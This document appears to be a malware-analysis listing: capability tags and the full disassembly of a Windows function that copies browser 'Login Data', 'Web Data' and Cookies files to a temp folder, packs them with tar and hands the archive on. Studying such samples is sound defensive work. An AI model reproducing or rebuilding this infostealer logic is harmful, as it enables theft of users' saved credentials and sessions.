Function at 0x1400052d0
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Get file attributes
Get file size
Query environment variable
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x2b8
mov rbx, qword [0x14000d488]
mov r14, r8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call rbx
mov rbx, qword [0x14000d488]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call rbx
mov rbx, qword [0x14000d488]
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call rbx
mov rbx, qword [0x14000d488]
mov rbp, rax
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x30c
mov rcx, rax
call rbx
mov rbx, qword [0x14000d488]
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x30c
mov rcx, rax
call rbx
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x30c
mov rcx, rax
call rbx
mov rbx, qword [0x14000d488]
mov rsi, rax
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x30c
mov rcx, rax
call rbx
mov rbx, qword [0x14000d488]
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x30c
mov rcx, rax
call rbx
mov rcx, qword [rsp + 0x300]
mov qword [rsp + 0x50], rax
call fcn.1400018c0
xor r8d, r8d
lea ecx, [r8 + 0x5c]
test rdi, rdi
je 0x14000544e
test rax, rax
je 0x14000544e
cmp rdi, rax
je 0x14000544e
movzx edx, word [rax]
mov rcx, rdi
test dx, dx
je 0x140005440
sub rax, rdi
nop
mov word [rcx], dx
add rcx, 2
movzx edx, word [rax + rcx]
test dx, dx
jne 0x140005430
mov word [rcx], r8w
mov rax, rdi
mov ecx, 0x5c
jmp 0x140005456
mov rax, rdi
test rdi, rdi
je 0x140005494
cmp word [rdi], r8w
je 0x14000546a
nop dword [rax]
add rax, 2
cmp word [rax], r8w
jne 0x140005460
lea rdx, [0x14000b718]
sub rdx, rax
nop dword [rax]
nop dword [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140005480
mov word [rax], r8w
mov rax, qword [0x14000d460]
lea rdx, [rsp + 0x60]
mov rcx, rdi
call rax
mov qword [rsp + 0x48], rax
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005e82
mov rbx, 0xffffffffffffffff
nop
test byte [rsp + 0x60], 0x10
lea rcx, [rsp + 0x8c]
je 0x14000565c
lea rdx, [0x14000b724]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140005db4
lea rdx, [0x14000b728]
lea rcx, [rsp + 0x8c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140005db4
mov rcx, qword [rsp + 0x300]
call fcn.1400018c0
test r12, r12
je 0x14000554c
test rax, rax
je 0x14000554c
cmp r12, rax
je 0x14000554c
movzx edx, word [rax]
mov rcx, r12
test dx, dx
je 0x140005540
sub rax, r12
nop
mov word [rcx], dx
add rcx, 2
movzx edx, word [rax + rcx]
test dx, dx
jne 0x140005530
xor r8d, r8d
mov rax, r12
mov word [rcx], r8w
jmp 0x14000555b
mov rax, r12
test r12, r12
je 0x1400055e4
xor r8d, r8d
cmp word [r12], 0
je 0x14000556d
add rax, 2
cmp word [rax], 0
jne 0x140005563
lea rdx, [0x14000b730]
mov ecx, 0x5c
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140005580
mov word [rax], r8w
mov rax, r12
cmp word [r12], cx
je 0x1400055aa
nop
add rax, 2
cmp word [rax], 0
jne 0x1400055a0
movzx ecx, word [rsp + 0x8c]
test cx, cx
je 0x1400055e0
lea rdx, [rsp + 0x8c]
sub rdx, rax
nop dword [rax]
nop word [rax + rax]
mov word [rax], cx
add rax, 2
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400055d0
mov word [rax], r8w
mov rsi, rbx
nop word [rax + rax]
inc rsi
cmp word [r12 + rsi*2], 0
jne 0x1400055f0
mov rdi, qword [0x14000d488]
lea rbx, [rsi*2 + 2]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call rdi
xor ecx, ecx
mov edx, ecx
test rsi, rsi
je 0x140005640
nop word [rax + rax]
movzx ecx, byte [r12 + rdx*2]
mov byte [rdx + rax], cl
inc rdx
cmp rdx, rsi
jb 0x140005630
mov rdx, qword [rsp + 0x308]
mov r8, r14
mov rcx, rax
mov byte [rax + rsi], 0
call fcn.1400052d0
jmp 0x140005d0e
lea rdx, [0x14000b7d8]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140005d1f
mov r8d, 0x104
lea rcx, str.temp
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x140005e82
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x14000b7f8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400056d1
test al, 0x10
je 0x1400056d1
mov rcx, r13
call fcn.140004b30
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdi, qword [rsp + 0x300]
mov rcx, rdi
call fcn.1400018c0
test r15, r15
je 0x14000572a
test rax, rax
je 0x14000572a
cmp r15, rax
je 0x14000572a
movzx edx, word [rax]
mov rcx, r15
test dx, dx
je 0x140005720
sub rax, r15
nop dword [rax]
mov word [rcx], dx
add rcx, 2
movzx edx, word [rax + rcx]
test dx, dx
jne 0x140005710
xor ebp, ebp
mov rax, r15
mov word [rcx], bp
jmp 0x140005734
xor ebp, ebp
mov rax, r15
test r15, r15
je 0x1400057b3
cmp word [r15], 0
je 0x14000574a
nop dword [rax + rax]
add rax, 2
cmp word [rax], 0
jne 0x140005740
lea rdx, [0x14000b730]
mov ecx, 0x5c
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140005760
mov word [rax], bp
mov rax, r15
cmp word [r15], cx
je 0x14000578a
nop dword [rax]
add rax, 2
cmp word [rax], 0
jne 0x140005780
lea rdx, [0x14000b7d8]
mov ecx, 0x4c
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400057a0
mov word [rax], bp
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x14000b7f8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x14000b7f8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.Login_Data
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, r13
call fcn.1400018c0
mov rdx, rax
mov r8d, 1
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rcx, rdi
call fcn.1400018c0
test r15, r15
je 0x140005858
test rax, rax
je 0x140005858
cmp r15, rax
je 0x140005858
movzx edx, word [rax]
mov rcx, r15
test dx, dx
je 0x140005850
sub rax, r15
nop word [rax + rax]
mov word [rcx], dx
add rcx, 2
movzx edx, word [rax + rcx]
test dx, dx
jne 0x140005840
mov word [rcx], bp
mov rax, r15
jmp 0x140005864
mov rax, r15
test r15, r15
je 0x1400058e3
cmp word [r15], 0
je 0x14000587a
nop dword [rax + rax]
add rax, 2
cmp word [rax], 0
jne 0x140005870
lea rdx, [0x14000b730]
mov ecx, 0x5c
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140005890
mov word [rax], bp
mov rax, r15
cmp word [r15], cx
je 0x1400058ba
nop dword [rax]
add rax, 2
cmp word [rax], 0
jne 0x1400058b0
lea rdx, [0x14000b810]
mov ecx, 0x57
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400058d0
mov word [rax], bp
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x14000b7f8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x14000b7f8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.Web_Data
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, r13
call fcn.1400018c0
mov rdx, rax
mov r8d, 1
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rcx, rdi
call fcn.1400018c0
test r15, r15
je 0x140005988
test rax, rax
je 0x140005988
cmp r15, rax
je 0x140005988
movzx edx, word [rax]
mov rcx, r15
test dx, dx
je 0x140005980
sub rax, r15
nop word [rax + rax]
mov word [rcx], dx
add rcx, 2
movzx edx, word [rax + rcx]
test dx, dx
jne 0x140005970
mov word [rcx], bp
mov rax, r15
jmp 0x140005994
mov rax, r15
test r15, r15
je 0x140005a13
cmp word [r15], 0
je 0x1400059aa
nop dword [rax + rax]
add rax, 2
cmp word [rax], 0
jne 0x1400059a0
lea rdx, str.Network_
mov ecx, 0x5c
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400059c0
mov word [rax], bp
mov rax, r15
cmp word [r15], cx
je 0x1400059ea
nop dword [rax]
add rax, 2
cmp word [rax], 0
jne 0x1400059e0
lea rdx, [0x14000b850]
mov ecx, 0x43
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140005a00
mov word [rax], bp
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x14000b7f8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x14000b7f8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.Cookies
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, r13
call fcn.1400018c0
mov rdx, rax
mov r8d, 1
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov r8, qword [rsp + 0x50]
movups xmm0, xmmword [str.cmd.exe__c__cd]
movups xmmword [r8], xmm0
lea rcx, [r8 - 1]
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140005a90
xor edx, edx
nop dword [rax]
movzx eax, byte [rsi + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140005aa0
lea rcx, [r8 - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140005ab3
movups xmm0, xmmword [str.__c:__tar__cf]
movups xmmword [rcx], xmm0
movzx eax, word [0x14000b888]
mov word [rcx + 0x10], ax
movzx eax, byte [0x14000b88a]
mov byte [rcx + 0x12], al
lea rcx, [r8 - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140005ae0
xor edx, edx
nop dword [rax]
movzx eax, byte [r14 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140005af0
lea rcx, [r8 - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140005b04
mov eax, dword [str..tar]
mov dword [rcx], eax
movzx eax, word [0x14000b890]
mov word [rcx + 4], ax
lea rcx, [r8 - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140005b25
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r14 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140005b40
lea rcx, [r8 - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140005b54
movzx eax, word [0x14000b894]
mov word [rcx], ax
mov rcx, r8
call fcn.1400049d0
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x14000b7f8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, r13
call fcn.140004b30
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x14000b7f8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str..tar
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor r9d, r9d
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, r13
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140005dd2
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rbx, qword [0x14000d488]
mov esi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, esi
mov edx, 8
mov rcx, rax
call rbx
mov rbp, rax
lea r9, [rsp + 0x318]
xor eax, eax
mov rdx, rbp
mov r8d, esi
mov qword [rsp + 0x20], rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 8]
call rbx
mov rbx, qword [0x14000d488]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, esi
mov edx, 8
mov rcx, rax
call rbx
mov qword [r14], rax
mov rcx, rax
mov dword [r14 + 8], esi
test rax, rax
je 0x140005cd0
test rbp, rbp
je 0x140005cd0
test esi, esi
je 0x140005cd0
sub rbp, rax
movzx eax, byte [rcx + rbp]
mov byte [rcx], al
lea rcx, [rcx + 1]
add esi, 0xffffffff
jne 0x140005cc1
mov rcx, qword [rsp + 0x310]
call fcn.1400018c0
mov rdx, qword [rsp + 0x308]
lea r9, [rsp + 0x8c]
mov r8, rax
mov rcx, r14
call fcn.140005070
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r14, qword [rsp + 0x310]
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x48]
mov rbx, 0xffffffffffffffff
mov rsi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x300]
call fcn.1400018c0
test rbp, rbp
je 0x140005d6c
test rax, rax
je 0x140005d6c
cmp rbp, rax
je 0x140005d6c
movzx edx, word [rax]
mov rcx, rbp
test dx, dx
je 0x140005d60
sub rax, rbp
nop dword [rax]
mov word [rcx], dx
add rcx, 2
movzx edx, word [rax + rcx]
test dx, dx
jne 0x140005d50
xor r8d, r8d
mov rax, rbp
mov word [rcx], r8w
jmp 0x140005d77
mov rax, rbp
test rbp, rbp
je 0x140005db4
xor r8d, r8d
cmp word [rbp], 0
je 0x140005d8a
nop
add rax, 2
cmp word [rax], 0
jne 0x140005d80
lea rdx, [0x14000b730]
mov ecx, 0x5c
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140005da0
mov word [rax], r8w
mov rax, qword [0x14000d448]
lea rdx, [rsp + 0x60]
mov rcx, rdi
call rax
test eax, eax
jne 0x1400054c0
jmp 0x140005e82
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbp
mov rcx, rax
lea rdx, str.Faild_to_open_the_file
mov r8d, 0x17
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbp
mov rcx, rax
lea rdx, str.FilePath__:
mov r8d, 0xc
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
inc rbx
cmp word [r15 + rbx*2], 0
jne 0x140005e33
mov r8, rbx
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x40]
mov rdx, r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbp
mov rcx, rax
lea rdx, [0x14000b714]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
add rsp, 0x2b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret